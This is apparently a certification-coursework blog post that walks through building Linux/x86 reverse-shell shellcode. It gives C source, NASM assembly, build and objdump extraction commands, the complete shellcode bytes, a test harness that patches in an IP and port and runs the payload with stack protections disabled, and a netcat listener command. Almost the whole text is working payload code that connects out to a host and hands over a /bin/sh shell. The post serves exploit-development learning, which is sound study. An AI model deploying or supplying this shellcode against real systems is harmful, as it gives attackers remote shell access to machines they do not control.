Reverse Shell – Shellcode (Linux/x86)

A reverse shell is basically the opposite of bind shell. Instead of having the remote machine listen for incoming connections, the penetration tester’s machine is the one who’s listening. There are pros and cons of using a reverse shell vs bind shell but this solely depends on how the network of connecting parties are set.

First, to be able to create a working “reverse shell”, a C program has been created to test the functionality of the APIs used.

#include <unistd.h>
#include <arpa/inet.h>
int main()
{

struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(443);
addr.sin_addr.s_addr = inet_addr(“192.168.189.132”);

int sockfd = socket(AF_INET, SOCK_STREAM, 0);
connect(sockfd, (struct sockaddr*)&addr, sizeof(addr));

dup2(sockfd, 0); // STDIN
dup2(sockfd, 1); // STDOUT
dup2(sockfd, 2); // STDERR

execve(“/bin/sh”, NULL, NULL);

}

The C code is quite similar to the one for bind shell. The only difference here is instead of binding the structure to the socket for the “listening and accepting” process, we use the information so a connection can be established to the IP and port provided.

In a nut shell, first is the need to declare sockaddr_in which should hold the following information:

  • AF_INET  – Makes use of the address family for IPv4.
  • htons(443) – Converts the host byte order (Could be little or big endian depending on the software and hardware) to network byte order (big endian). In this case, 443 is used as the port where the reverse shell is going to connect.
  • inet_addr(“192.168.189.132”) – Converts the IP address to an integer format. This is the IP address where the executing machine connects to or the penetration tester’s IP.

 
The next is declaring an IPv4 (AF_INET) TCP (SOCK_STREAM) socket. Once it is declared, its descriptor is used to connect from the executing machine to the penetration tester’s machine. If a connection gets established, STDIN, STDOUT, and STDERR is duplicated which link these descriptors to the listening party and finally, executing /bin/sh.

The NASM translation of the C program follows as:

global _start
section .text
_start:

xor eax, eax
xor ebx, ebx
push eax
push eax

push 0x84bda8c0 ; 192.168.189.132 = 3232284036 = 0xC0A8BD84
mov bx, 0x0bb01 ; 443 = 0x1bb
shl ebx, 16 ; Pass port to higher word in register
add bl, 0x02 ; AF_INET = 2
push ebx ; ebx = 0xbb010002

push eax ; Protocol
push 0x01 ; Type = SOCK_STREAM
push 0x02 ; Domain = AF_INET

mov al, 0x66 ; SYS_SOCKETCALL
xor ebx, ebx
mov bl, 0x01 ; SYS_SOCKET
mov ecx, esp
int 0x80

push 16
lea ebx, [esp + 16]
push ebx
push eax
xor eax, eax
mov al, 0x66 ; SYS_SOCKETCALL
xor ebx, ebx
mov bl, 0x03 ; SYS_CONNECT
mov ecx, esp
int 0x80

mov ebx, dword[esp]
xor eax, eax
xor ecx, ecx

again:

mov al, 0x3f ; SYS_DUP2
int 0x80
inc ecx
cmp ecx, 0x03
jne again

xor eax, eax
push eax
mov ecx, eax
mov edx, eax
mov al, 0x0b
push “//sh”
push “/bin”
mov ebx, esp
int 0x80

The NASM source code is then compiled and linked using the commands:

nasm -f elf32 -o rshell.o rshell.asm
ld -o rshell rshell.o -N

Once the compilation and linking is successful, objdump can be used to extract the shellcode. This can be automated using the script found here.

objdump -d ./rshell|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

The output should be similar to this:

\x31\xc0\x31\xdb\x50\x50\x68\xc0\xa8\xbd\x84\x66\xbb\x01\xbb\xc1\xe3\x10\x80\xc3\x02\x53\x50\x6a\x01\x6a\x02\xb0\x66\x31\xdb\xb3\x01\x89\xe1\xcd\x80\x6a\x10\x8d\x5c\x24\x10\x53\x50\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x89\xe1\xcd\x80\x8b\x1c\x24\x31\xc0\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\x31\xc0\x50\x89\xc1\x89\xc2\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

To test this shellcode, we can compile it with the C program below:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>

int main()
{

int ip = inet_addr(“192.168.189.132”);
unsigned short port = 443;

char code[] = “\x31\xc0\x31\xdb\x50\x50\x68\xc0\xa8\xbd\x84\x66\xbb\x01\xbb\xc1\xe3\x10\x80\xc3\x02\x53\x50\x6a\x01\x6a\x02\xb0\x66\x31\xdb\xb3\x01\x89\xe1\xcd\x80\x6a\x10\x8d\x5c\x24\x10\x53\x50\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x89\xe1\xcd\x80\x8b\x1c\x24\x31\xc0\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\x31\xc0\x50\x89\xc1\x89\xc2\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80”;

code[7] = ip & 0xff;
code[8] = (ip >> 8) & 0xff;
code[9] = (ip >> 16) & 0xff;
code[10] = (ip >> 24) & 0xff;

code[13] = (port >> 8) & 0xff;
code[14] = port & 0xff;

printf(“Shellcode length: %d\n”, strlen(code));
int (*ret)() = (int(*)())code;
ret();

}

Compiling this should include a disabled stack-protector and this can be done by using the command:

gcc -fno-stack-protector -z execstack execshell.c -o execshell

To test this, netcat should be listening in the entered port. In this case, port 443:

nc -nlvp 443

Run ./execshell in one terminal and once the shellcode executes, it should connect to the IP address and port given. If successfully connected, a shell is presented.

All code presented can be found in GitHub.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification (Student ID: SLAE-1261)

Leave a Reply